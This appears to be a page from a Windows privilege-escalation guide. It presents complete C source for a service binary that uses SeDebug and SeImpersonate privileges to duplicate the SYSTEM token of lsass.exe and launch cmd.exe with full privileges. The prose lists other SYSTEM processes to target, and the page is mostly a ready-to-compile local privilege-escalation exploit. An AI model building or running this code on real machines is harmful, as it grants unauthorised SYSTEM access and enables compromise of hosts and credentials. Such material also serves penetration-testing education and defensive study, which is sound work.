SeDebug + SeImpersonate copy token

The following code exploits the privileges SeDebug and SeImpersonate to copy the token from a process running as SYSTEM and with all the token privileges. In this case, this code can be compiled and used as a Windows service binary to check that it's working. However, the main part of the code where the elevation occurs is inside the Exploit function. Inside of that function you can see that the process lsass.exe is searched, then it's token is copied, and finally that token is used to spawn a new cmd.exe with all the privileges of the copied token.

Other processes running as SYSTEM with all or most of the token privileges are: services.exe, svhost.exe (on of the firsts ones), wininit.exe, csrss.exe... (remember that you won't be able to copy a token from a Protected process). Moreover, you can use the tool Process Hacker running as administrator to see the tokens of a process.

#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("TokenDanceSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;

//This function will find the pid of a process by name
int FindTarget(const char *procname) {

    HANDLE hProcSnap;
    PROCESSENTRY32 pe32;
    int pid = 0;

    hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

    pe32.dwSize = sizeof(PROCESSENTRY32); 

    if (!Process32First(hProcSnap, &pe32)) {
            CloseHandle(hProcSnap);
            return 0;
    }

    while (Process32Next(hProcSnap, &pe32)) {
            if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                    pid = pe32.th32ProcessID;
                    break;
            }
    }

    CloseHandle(hProcSnap);

    return pid;
}


int Exploit(void) {

    HANDLE hSystemToken, hSystemProcess;
    HANDLE dupSystemToken = NULL;
    HANDLE hProcess, hThread;
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    int pid = 0;


    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    // open high privileged process
    if ( pid = FindTarget("lsass.exe") ) 
        hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
    else
        return -1;

    // extract high privileged token
    if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) {
        CloseHandle(hSystemProcess);
        return -1;
    }

    // make a copy of a token
    DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken);    

    // and spawn a new process with higher privs
    CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe", 
                        NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

    return 0;
}


void WINAPI ServiceControlHandler( DWORD controlCode ) {
    switch ( controlCode ) {
        case SERVICE_CONTROL_SHUTDOWN:
        case SERVICE_CONTROL_STOP:
            serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
            SetServiceStatus( serviceStatusHandle, &serviceStatus );

            SetEvent( stopServiceEvent );
            return;

        case SERVICE_CONTROL_PAUSE:
            break;

        case SERVICE_CONTROL_CONTINUE:
            break;

        case SERVICE_CONTROL_INTERROGATE:
            break;

        default:
            break;
    }
    SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
    // initialise service status
    serviceStatus.dwServiceType = SERVICE_WIN32;
    serviceStatus.dwCurrentState = SERVICE_STOPPED;
    serviceStatus.dwControlsAccepted = 0;
    serviceStatus.dwWin32ExitCode = NO_ERROR;
    serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
    serviceStatus.dwCheckPoint = 0;
    serviceStatus.dwWaitHint = 0;

    serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

    if ( serviceStatusHandle ) {
        // service is starting
        serviceStatus.dwCurrentState = SERVICE_START_PENDING;
        SetServiceStatus( serviceStatusHandle, &serviceStatus );

        // do initialisation here
        stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

        // running
        serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
        serviceStatus.dwCurrentState = SERVICE_RUNNING;
        SetServiceStatus( serviceStatusHandle, &serviceStatus );

        Exploit();
        WaitForSingleObject( stopServiceEvent, -1 );

        // service was stopped
        serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
        SetServiceStatus( serviceStatusHandle, &serviceStatus );

        // do cleanup here
        CloseHandle( stopServiceEvent );
        stopServiceEvent = 0;

        // service is now stopped
        serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
        serviceStatus.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus( serviceStatusHandle, &serviceStatus );
    }
}


void InstallService() {
    SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

    if ( serviceControlManager ) {
        TCHAR path[ _MAX_PATH + 1 ];
        if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
            SC_HANDLE service = CreateService( serviceControlManager,
                            serviceName, serviceName,
                            SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
                            SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
                            0, 0, 0, 0, 0 );
            if ( service )
                CloseServiceHandle( service );
        }
        CloseServiceHandle( serviceControlManager );
    }
}

void UninstallService() {
    SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

    if ( serviceControlManager ) {
        SC_HANDLE service = OpenService( serviceControlManager,
            serviceName, SERVICE_QUERY_STATUS | DELETE );
        if ( service ) {
            SERVICE_STATUS serviceStatus;
            if ( QueryServiceStatus( service, &serviceStatus ) ) {
                if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
                    DeleteService( service );
            }
            CloseServiceHandle( service );
        }
        CloseServiceHandle( serviceControlManager );
    }
}

int _tmain( int argc, TCHAR* argv[] )
{
    if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
        InstallService();
    }
    else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
        UninstallService();
    }
    else  {
        SERVICE_TABLE_ENTRY serviceTable[] = {
            { serviceName, ServiceMain },
            { 0, 0 }
        };

        StartServiceCtrlDispatcher( serviceTable );
    }    

    return 0;
}

The code of this example was shared by an anonymous person.